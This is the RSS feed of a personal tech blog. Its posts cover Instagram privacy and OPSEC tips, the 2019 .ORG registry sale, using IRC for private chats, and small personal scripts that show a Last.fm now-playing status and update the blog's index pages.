pages/blog/feed.xml (view raw)
1<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
2 <channel>
3 <title>icyphox's blog</title>
4 <link>https://icyphox.sh/blog/</link>
5 <description>Computers, security and computer security.</description>
6 <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
7 <image>
8 <title>icyphox logo</title>
9 <url>https://icyphox.sh/icyphox.png</url>
10 <link>https://icyphox.sh/blog/</link>
11 </image>
12 <language>en-us</language>
13 <copyright>Creative Commons BY-NC-SA 4.0</copyright>
14 <item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
15compelled to write this post. Using a social platform like Instagram
16automatically implies that the user understands (to some level) that
17their personally identifiable information is exposed publicly, and they
18sign up for the service understanding this risk – or I think they do,
19anyway. But that’s about it, they go ham after that. Sharing every nitty
20gritty detail of their private lives without understanding the potential
21risks of doing so.</p>
22
23<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
24Instgrammers are <em>obviously</em> incapable of doing that – so I’ll do it
25for them. </p>
26
27<h2 id="your-average-instagrammers-threat-model">Your average Instagrammer’s threat model</h2>
28
29<p>I stress on the word “average”, as in this doesn’t apply to those with
30more than a couple thousand followers. Those type of accounts inherently
31face different kinds of threats – those that come with having
32a celebrity status, and are not in scope of this analysis.</p>
33
34<ul>
35<li><p><strong>State actors</strong>: This doesn’t <em>really</em> fit into our threat model,
36since our target demographic is simply not important enough. That said,
37there are select groups of individuals that operate on
38Instagram<sup class="footnote-ref" id="fnref-ddepisode"><a href="#fn-ddepisode">1</a></sup>, and they can potentially be targetted by a state
39actor.</p></li>
40<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
41of the amount of visual information shared on the platform. A lot can be
42gleaned from one simple picture in a nondescript alleyway. We’ll get
43into this in the DOs and DON’Ts in a bit.</p></li>
44<li><p><strong>Facebook & LE</strong>: Instagram is the last place you want to be doing an
45illegal, because well, it’s logged and more importantly – not
46end-to-end encrypted. Law enforcement can subpoena any and all account
47information. Quoting Instagram’s
48<a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>
49</ul>
50
51<blockquote>
52 <p>a search warrant issued under the procedures described in the Federal
53 Rules of Criminal Procedure or equivalent state warrant procedures
54 upon a showing of probable cause is required to compel the disclosure
55 of the stored contents of any account, which may include messages,
56 photos, comments, and location information.</p>
57</blockquote>
58
59<p>That out of the way, here’s a list of DOs and DON’Ts to keep in mind
60while posting on Instagram.</p>
61
62<h3 id="donts">DON’Ts</h3>
63
64<ul>
65<li><p>Use Instagram for planning and orchestrating illegal shit! I’ve
66explained why this is a terrible idea above. Use secure comms – even
67WhatsApp is a better choice, if you have nothing else. In fact, try
68avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>
69<li><p>Film live videos outside. Or try not to, if you can. You might
70unknowingly include information about your location: street signs,
71shops etc. These can be used to ascertain your current location.</p></li>
72<li><p>Film live videos in places you visit often. This compromises your
73security at places you’re bound to be at.</p></li>
74<li><p>Share your flight ticket in your story! I can’t stress this enough!!!
75Summer/winter break? “Look guys, I’m going home! Here’s where I live,
76and here’s my flight number – feel free to track me!”. This scenario is
77especially worrisome because the start and end points are known to the
78threat actor, and your arrival time can be trivially looked up – thanks
79to the flight number on your ticket. So, just don’t.</p></li>
80<li><p>Post screenshots with OS specific details. This might border on
81pendantic, but better safe than sorry. Your phone’s statusbar and navbar
82are better cropped out of pictures. They reveal the time, notifications
83(apps that you use), and can be used to identify your phone’s operating
84system. Besides, the status/nav bar isn’t very useful to your screenshot
85anyway.</p></li>
86<li><p>Avoid sharing your voice, if avoidable. In general, reduce your
87footprint.</p></li>
88<li><p>Think you’re safe if your account is set to private. It doesn’t take
89much to get someone who follows you, to show show your profile on their
90device.</p></li>
91</ul>
92
93<h3 id="dos">DOs</h3>
94
95<ul>
96<li><p>Post pictures that pertain to a specific location, once you’ve moved
97out of the location. Also applies to stories. It can wait.</p></li>
98<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
99Who woulda thunk I’d advocate bathroom selfies?</p></li>
100<li><p>Delete old posts that are irrelevant to your current audience. Your
101friends at work don’t need to know about where you went to high school.</p></li>
102</ul>
103
104<p>More DON’Ts than DOs, that’s very telling. Here are a few more points
105that are good OPSEC practices in general:</p>
106
107<ul>
108<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
109<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
110online, from what you do IRL. Limit information exposure.</li>
111<li><strong>Assess your risks</strong>: Do this often. People change, your environments
112change, and consequentially the risks do too.</li>
113</ul>
114
115<h2 id="fin">Fin</h2>
116
117<p>Instagram is—much to my dismay—far too popular for it to die any
118time soon. There are plenty of good reasons to stop using the platform
119altogether (hint: Facebook), but that’s a discussion for another day.</p>
120
121<p>Or be like me:</p>
122
123<p><img src="/static/img/ig.jpg" alt="0 posts lul" /></p>
124
125<p>And that pretty much wraps it up, with a neat little bow.</p>
126
127<div class="footnotes">
128<hr />
129<ol>
130<li id="fn-ddepisode">
131<p><a href="https://darknetdiaries.com/episode/51/">https://darknetdiaries.com/episode/51/</a> – Jack talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
132</li>
133</ol>
134</div>
135]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
136<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
1372003. The .ORG TLD is used primarily by communities, free and open source projects,
138and other non-profit organizations – although the use of the TLD isn’t
139restricted to non-profits.</p>
140
141<p>The Internet Society or ISOC, the group that created the PIR, has
142decided to sell the registry over to a private equity firm – Ethos
143Capital.</p>
144
145<h2 id="whats-the-problem">What’s the problem?</h2>
146
147<p>There are around 10 million .ORG TLDs registered, and a good portion of
148them are non-profits and non-governmental organizations. As the name
149suggests, they don’t earn any profits and all their operations rely on
150a thin inflow of donations. A private firm having control of the .ORG
151domain gives them the power to make decisions that would be unfavourable
152to the .ORG community:</p>
153
154<ul>
155<li><p>They control the registration/renewal fees of the TLD. They can
156hike the price if they wish to. As is stands, NGOs already earn very
157little – a .ORG price hike would put them in a very icky situation.</p></li>
158<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
159Mechanisms</a>
160or RPMs, which are essentially legal statements that can—if not
161correctly developed—jeopardize / censor completely legal non-profit
162activities.</p></li>
163<li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t
164news that nation states go after NGOs, targetting them with allegations
165of illegal activity. The registry being a private firm only simplifies
166the process.</p></li>
167</ul>
168
169<p>Sure, these are just “what ifs” and speculations, but the risk is real.
170Such power can be abused and this would be severly detrimental to NGOs
171globally.</p>
172
173<h2 id="how-can-i-help">How can I help?</h2>
174
175<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
176<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
177behalf to:</p>
178
179<ul>
180<li>Andrew Sullivan, CEO, ISOC</li>
181<li>Jon Nevett, CEO, PIR</li>
182<li>Maarten Botterman, Board Chair, ICANN</li>
183<li>Göran Marby, CEO, ICANN</li>
184</ul>
185
186<h2 id="closing-thoughts">Closing thoughts</h2>
187
188<p>The Internet that we all love and care for is slowly being subsumed by
189megacorps and private firms, who’s only motive is to make a profit. The
190Internet was meant to be free, and we’d better act now if we want that
191freedom. The future looks bleak – I hope we aren’t too late.</p>
192]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule –
193exams. I get all these cool ideas for things to do, and it’s always
194during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
195
196<h2 id="blog-post-queue">Blog post queue</h2>
197
198<p>I realized that I could use this site’s
199<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
200I’ve made a few, mostly just porting them over from my Google Keep note.</p>
201
202<p>This method of using issues is great, because readers can chime in with
203ideas for things I could possibly discuss – like in <a href="https://github.com/icyphox/site/issues/10">this
204issue</a>.</p>
205
206<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>
207
208<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
209– is awfully slow. Also, Python is bloat.
210Will rewriting it fix that? That’s what I plan to find out. I have
211a couple of choices of languages to use in the rewrite:</p>
212
213<ul>
214<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
215<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
216<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
217(<code>shite</code>?)</li>
218</ul>
219
220<p>Oh, and did I mention – I want it to be compatible with <code>vite</code>.
221I don’t want to have to redo my site structure or its templates. At the
222moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
223
224<h2 id="irc-bot">IRC bot</h2>
225
226<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
227traction, which was pretty cool. I didn’t really talk much about the bot
228itself though; I’m dedicating this section to
229<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
230
231<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
232basic features in place:</p>
233
234<ul>
235<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
236track</li>
237<li>Fetches the URL title, when a URL is sent in chat</li>
238</ul>
239
240<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
241command, since we share Spotify links pretty often.</p>
242
243<h2 id="other">Other</h2>
244
245<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
246log</a> when I, well… get around to it. Haven’t had time to do
247much in the past few weeks – the time at the end of a semester tends to
248get pretty tight. Here’s what I plan to get back to during this winter break:</p>
249
250<ul>
251<li>Russian!</li>
252<li>Window manager in Nim</li>
253<li><code>vite</code> rewrite, probably</li>
254<li>The other blog posts in queue</li>
255</ul>
256
257<p>I’ve also put off doing any “security work” for a while now, perhaps
258that’ll change this December. Or whenever.</p>
259
260<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
261
262<div class="footnotes">
263<hr />
264<ol>
265<li id="fn-1">
266<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
267</li>
268</ol>
269</div>
270]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
271daily communications, as opposed to non-free alternatives like WhatsApp
272or Telegram. This is an account of how that went.</p>
273
274<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>
275
276<p>I’ve tried a <em>ton</em> of messaging applications – Signal, WhatsApp,
277Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
278
279<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
280centralized architecture, and OWS’s refusal to federate.</p>
281
282<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
283thought. The sole reason I have it installed is for University’s
284class groups; I can’t wait to graduate.</p>
285
286<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
287got a very nice Android client, though.</p>
288
289<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
290on this because I don’t recall what my experience was like, but I’m not
291using it now… so if that’s indicative of anything.</p>
292
293<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
294Overall, pretty great, but it’s slow. I’ve had messages not send / not
295received a lot of times. Matrix + Riot excels in group communication, but
296really sucks for one-to-one chats.</p>
297
298<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
299
300<p><strong>DeltaChat</strong>: Pretty interesting idea – on paper. Using existing email
301infrastructure for IM sounds great, but it isn’t all that cash in
302practice. Email isn’t instant, there’s always a delay of give or take
3035 to 10 seconds, if not more. This affects the flow of conversation.
304I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
305
306<h2 id="why-irc">Why IRC?</h2>
307
308<p>It’s free, in all senses of the word. A lot of others have done a great
309job of answering this question in further detail, this is by far my
310favourite:</p>
311
312<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
313
314<h2 id="using-ircs-private-messages">Using IRC’s private messages</h2>
315
316<p>This was the next obvious choice, but personal message buffers don’t
317persist in ZNC and it’s very annoying to have to do a <code>/query
318nerdypepper</code> (Weechat) or to search and message a user via Revolution
319IRC. The only unexplored option – using a channel.</p>
320
321<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>
322
323<p>A fairly easy process:</p>
324
325<ul>
326<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
327
328<pre><code>#crimson [+ilnpstz 3]
329</code></pre>
330
331<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
332hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
333modes.</p></li>
334<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
335to send a notification for all messages in the specified buffer
336(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
337hand, has an option to setup rules for notifications – super
338convenient.</p></li>
339<li><p>A bot: Lastly, a bot for a few small tasks – fetching URL titles, responding
340to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
341took me about an hour or two to get most of the basic functionality in
342place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
343It is by no means “good code”; it breaks spectacularly from time to
344time.</p></li>
345</ul>
346
347<h2 id="in-conclusion">In conclusion</h2>
348
349<p>As the subtitle suggests, using IRC has been great. It’s probably not
350for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
351
352<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
353
354<div class="footnotes">
355<hr />
356<ol>
357<li id="fn-modes">
358<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
359</li>
360
361<li id="fn-deltachat">
362<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
363</li>
364</ol>
365</div>
366]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
367episode a couple of days ago, and it highlighted some interesting issues that
368intelligence organizations face when working with law enforcement. Side note: it’s a pretty
369good show if you like police procedurals.</p>
370
371<h2 id="the-problem">The problem</h2>
372
373<p>Consider the following scenario:</p>
374
375<ul>
376<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
377<li>Local PD busts his operation and proceed to arrest him.</li>
378<li>3-letter org steps in, wants him released.</li>
379</ul>
380
381<p>So here’s the thing, his presence is a threat to public but at the same time,
382he can be a valuable long term asset – giving info on drug inflow, exchanges and perhaps even
383actionable intel on bigger fish who exist on top of the ladder. But he also
384seeks security. The 3-letter org must provide him with protection,
385in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
386
387<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
388Who matters more, the people they’ve sworn to protect, or the asset?
389Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
390
391<p>Thus, the question arises – how can we measure the “usefulness” of an
392asset to better quantify the tradeoff that is to be made?
393Is the intel gained worth the loss of public safety?
394This question remains largely unanswered, and is quite the
395predicament should you find yourself in it.</p>
396
397<p>This was a fairly short post, but an interesting problem to ponder
398nonetheless.</p>
399]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
400to learn to code. Don’t get me wrong – it probably works for some.
401Everyone learns differently. But that’s only going to get you so far.
402Great you know the syntax, you can solve some competitive programming
403problems, but that’s not quite enough, is it? The actual learning comes
404from <em>applying</em> it in solving <em>actual</em> problems – not made up ones.
405(<em>inb4 some seething CP bro comes at me</em>)</p>
406
407<p>Now, what’s an actual problem? Some might define it as real world
408problems that people out there face, and solving it probably requires
409building a product. This is what you see in hackathons, generally.</p>
410
411<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
412face. This could be anything. Heck, it might not even be a “problem”. It
413could just be an itch that you want to scratch. And this is where
414<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
415examples.</p>
416
417<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>
418
419<p>If you weren’t aware already – I rice my desktop. A lot. And a part of
420this cohesive experience I try to create involves a status bar up at the
421top of my screen, showing the time, date, volume and battery statuses etc.</p>
422
423<p>So here’s the “problem”. I wanted to have my currently playing song
424(Spotify), show up on my bar. How did I approach this? A few ideas
425popped up in my head:</p>
426
427<ul>
428<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
429<li>Write a Python script to query Spotify’s API</li>
430<li>Write a Python/shell script to query Last.fm’s API</li>
431</ul>
432
433<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
434Spotify client and whined about some <code>dbus</code> issues to top it off.
435I spent a while in that rabbit hole but eventually gave up.</p>
436
437<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
438I realize that I’ll have to make <em>more</em> than one request to fetch the
439artist and track details. Nope, I need this to work fast.</p>
440
441<p>Last resort – Last.fm’s API. Spolier alert, this worked. Also, arguably
442the best choice, since it shows the track status regardless of where
443the music is being played. Here’s the script in its entirety:</p>
444
445<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
446<span class="c1"># now playing</span>
447<span class="c1"># requires the last.fm API key</span>
448
449<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
450<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
451<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
452
453<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
454<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
455<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
456<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
457<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
458<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
459
460
461<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
462<span class="k">then</span>
463 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
464 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
465 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
466<span class="k">else</span>
467 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
468<span class="k">fi</span>
469</code></pre></div>
470
471<p>The <code>source</code> command is used to fetch the API key which I store at
472<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
473for coloring output on my bar. The rest is fairly trivial and just
474involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
475That’s it! It’s so small, but I learnt a ton. For those curious, here’s
476what it looks like running:</p>
477
478<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
479
480<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>
481
482<p>This pertains to this very blog that you’re reading. I wanted a quick
483way to update the “latest post” section in the home page and the
484<a href="/blog">blog</a> listing, with a link to the latest post. This would require
485editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
486of both pages.</p>
487
488<p>This was a very
489interesting challenge to me, primarily because it requires in-place
490editing of the file, not just appending. Sure, I could’ve come up with
491some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
492regexes. Did a lot of research (read: Googling) on in-place editing of
493files in Python, sorting lists of files by modification time etc. and
494this is what I ended up on, ultimately:</p>
495
496<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
497
498<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
499<span class="kn">import</span> <span class="nn">os</span>
500<span class="kn">import</span> <span class="nn">fileinput</span>
501<span class="kn">import</span> <span class="nn">sys</span>
502
503<span class="c1"># change our cwd</span>
504<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
505
506<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
507
508<span class="c1"># get the most recently created file</span>
509<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
510 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
511 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
512 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
513
514<span class="c1"># adding an entry to the markdown table</span>
515<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
516 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
517 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
518 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
519 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
520 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
521
522 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
523 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
524
525<span class="c1"># editing the md source in-place</span>
526<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
527 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
528 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
529 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
530 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
531 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
532 <span class="k">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
533
534
535<span class="c1"># fetch title and date</span>
536<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
537<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
538<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
539<span class="n">line</span> <span class="o">=</span> <span class="n">f</span><span class="s2">"| [{meta['title']}]({url}) | `{meta['date']}` |"</span>
540
541<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
542<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
543</code></pre></div>
544
545<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
546massive hack</strong>. And in the end, that’s my point exactly. It’s very
547hacky, but the sheer amount I learnt by writing this ~50
548line script can’t be taught anywhere.</p>
549
550<p>This was partially how
551<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
552intended to be a script to build my site, but grew into a full-blown
553Python package. I could’ve just
554used an off-the-shelf static site generator
555given that there are <a href="https://staticgen.com">so many</a> of them, but
556I chose to write one myself.</p>
557
558<p>And that just about sums up what I wanted to say. The best and most fun
559way to learn to code – write hacky scripts. You heard it here.</p>
560]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
561they were never weekly and—let’s be honest—they aren’t going to be.
562These posts are, henceforth, just “Status updates”. The date range can
563be inferred from the post date.</p>
564
565<p>That said, here’s what I’ve been up to!</p>
566
567<h2 id="void-linux">Void Linux</h2>
568
569<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
570really. The very comfy <code>apk</code>, ultra mnml system… but having to
571maintain a chroot for my glibc needs was getting way too painful. And
572the package updates are so slow! Heck, they’re still on kernel 4.xx on
573their supposed “bleeding” <code>edge</code> repo.</p>
574
575<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
576I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
577(-95 mV). Can’t say for sure if there’s a noticeable difference in
578battery life though. I’ll see if I can run some tests.</p>
579
580<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
